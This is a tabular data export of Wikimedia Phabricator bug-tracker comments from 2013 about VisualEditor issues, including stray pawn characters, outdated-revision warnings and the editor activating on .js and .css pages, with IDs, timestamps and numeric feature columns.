228807,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),I still can't reproduce this one. Can I get step-by-step instruction please?,,,1368216144,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.8421052631578947,I still can't reproduce this one. Can I get step-by-step instruction please?
228804,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"I don't think this is a dupe of bug 41067 - pawns appearing can have lots of causes (all bugs, but not necessarily the same bug).",,,1367274946,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,True,,,-9,,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3548387096774195,0.9354838709677419,"I don't think this is a dupe of bug 41067 - pawns appearing can have lots of causes (all bugs, but not necessarily the same bug)."
228799,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"

*** This bug has been marked as a duplicate of bug 41067 ***",,,1367254472,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 41067 ***"
228793,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"Firefox 20 on ubuntu 13.04 too. 

Didn't see any error in the JS console.",,,1367254368,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-9,,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9444444444444444,"Firefox 20 on ubuntu 13.04 too. 

Didn't see any error in the JS console."
228786,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),I saw it in Firefox 20 on Fedora 18.,,,1366969520,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,20.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,I saw it in Firefox 20 on Fedora 18.
228780,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),Also - it would be very valuable to know if there are any errors in JS console.,,,1366934353,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-10,,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Also - it would be very valuable to know if there are any errors in JS console.
228774,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),Any information about web browser and OS?,,,1366934083,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-10,,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Any information about web browser and OS?
49683,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,"EditPage.php has a prominent notice that users are editing an oldid page; VE should have something similar, probably in the ""notices"" functionality.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1366932300,1369409008.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.533333333333333,0.7777777777777778,"EditPage.php has a prominent notice that users are editing an oldid page; VE should have something similar, probably in the ""notices"" functionality.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
228589,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,Merged and will go out with wmf5 on 27 May.,,,1369409008,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,27.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,1.0,Merged and will go out with wmf5 on 27 May.
228584,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,Related URL: https://gerrit.wikimedia.org/r/65291 (Gerrit Change I216cdd68014173aa65cad42ddd3d870334be9ead),,,1369406998,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I216cdd68014173aa65cad42ddd3d870334be9ead)
228580,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,"(In reply to comment #2)
> EditPage uses msg: editingold[1].
> 
> [1] https://www.mediawiki.org/wiki/MediaWiki:Editingold/en

Ah, yes, whoops. Good catch.",,,1369256829,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.75,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Ah, yes, whoops. Good catch."
228574,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,"EditPage uses msg: editingold[1].

[1] https://www.mediawiki.org/wiki/MediaWiki:Editingold/en",,,1369244923,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,3.1666666666666665,0.9166666666666666,"EditPage uses msg: editingold[1].

[1] URL"
228566,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,This looks to be <Revision-info>. :-),,,1367275878,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.909090909090909,1.0,This looks to be <Revision-info>. :-)
49682,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one","Edit a page in VE, press save; enter VE again.

What should happen: You edit the newly-updated page.

What does happen: You edit the content of the page before you updated it (and VE doesn't know it's doing this).

--------------------------
**Version**: unspecified
**Severity**: minor",High,80.0,1366932180,1367614840.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-25426wyep677h7baqpvx,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.4444444444444446,0.6111111111111112,"Edit a page in VE, press save; enter VE again.

What should happen: You edit the newly-updated page.

What does happen: You edit the content of the page before you updated it (and VE doesn't know it's doing this).

--------------------------
**Version**: unspecified
**Severity**: minor"
228531,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one",*** Bug 48395 has been marked as a duplicate of this bug. ***,,,1368643696,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-25426wyep677h7baqpvx,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48395 has been marked as a duplicate of this bug. ***
228528,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one","

*** This bug has been marked as a duplicate of bug 47420 ***",,,1367614840,,PHID-USER-3uecblbxq24ycewm2cog,True,,,PHID-TASK-25426wyep677h7baqpvx,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47420 ***"
228524,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one",*** Bug 48021 has been marked as a duplicate of this bug. ***,,,1367530293,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-25426wyep677h7baqpvx,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48021 has been marked as a duplicate of this bug. ***
49456,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,"The VE becomes active on .js and .css pages in the user namespace, even though it is not capable of handling this content type.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://en.wikipedia.org/wiki/User:TheDJ/common.js",High,80.0,1366469700,1368463148.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-mw76lciqtgo7k33dnexw,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5961538461538463,0.6923076923076923,"The VE becomes active on .js and .css pages in the user namespace, even though it is not capable of handling this content type.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
214184,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,*** Bug 48471 has been marked as a duplicate of this bug. ***,,,1368569378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48471 has been marked as a duplicate of this bug. ***
214179,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,Merged by Catrope.,,,1368463148,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Merged by Catrope.
214176,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,Gerrit change 63341,,,1368307015,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,Gerrit change 63341
214172,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,*** Bug 47768 has been marked as a duplicate of this bug. ***,,,1367097296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47768 has been marked as a duplicate of this bug. ***
214168,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,"Yup, we should expand this more generally to all things that have a different ContentHandler type. We already depend on MW 1.21 in general, so I guess(?) this shouldn't be too much of a problem.",,,1366470309,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-11,,5.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,14.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,7.0,9.0,5.0,2.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,3.7209302325581395,0.8837209302325582,"Yup, we should expand this more generally to all things that have a different ContentHandler type. We already depend on MW 1.21 in general, so I guess(?) this shouldn't be too much of a problem."
49452,"VisualEditor: ""Edit source"" tab doesn't become 'active'","If in a page you click 'Edit source', the tab does not receive the 'selected' styling/class as it is supposed to.

This was confirmed with Safari 6 mac.

--------------------------
**Version**: unspecified
**Severity**: trivial",High,80.0,1366463880,1367602843.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,9.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5535714285714284,0.7321428571428571,"If in a page you click 'Edit source', the tab does not receive the 'selected' styling/class as it is supposed to.

This was confirmed with Safari 6 mac.

--------------------------
**Version**: unspecified
**Severity**: trivial"
214015,"VisualEditor: ""Edit source"" tab doesn't become 'active'",*** Bug 48316 has been marked as a duplicate of this bug. ***,,,1368150918,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zn4qygjgu7jjo6j7f6is,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48316 has been marked as a duplicate of this bug. ***
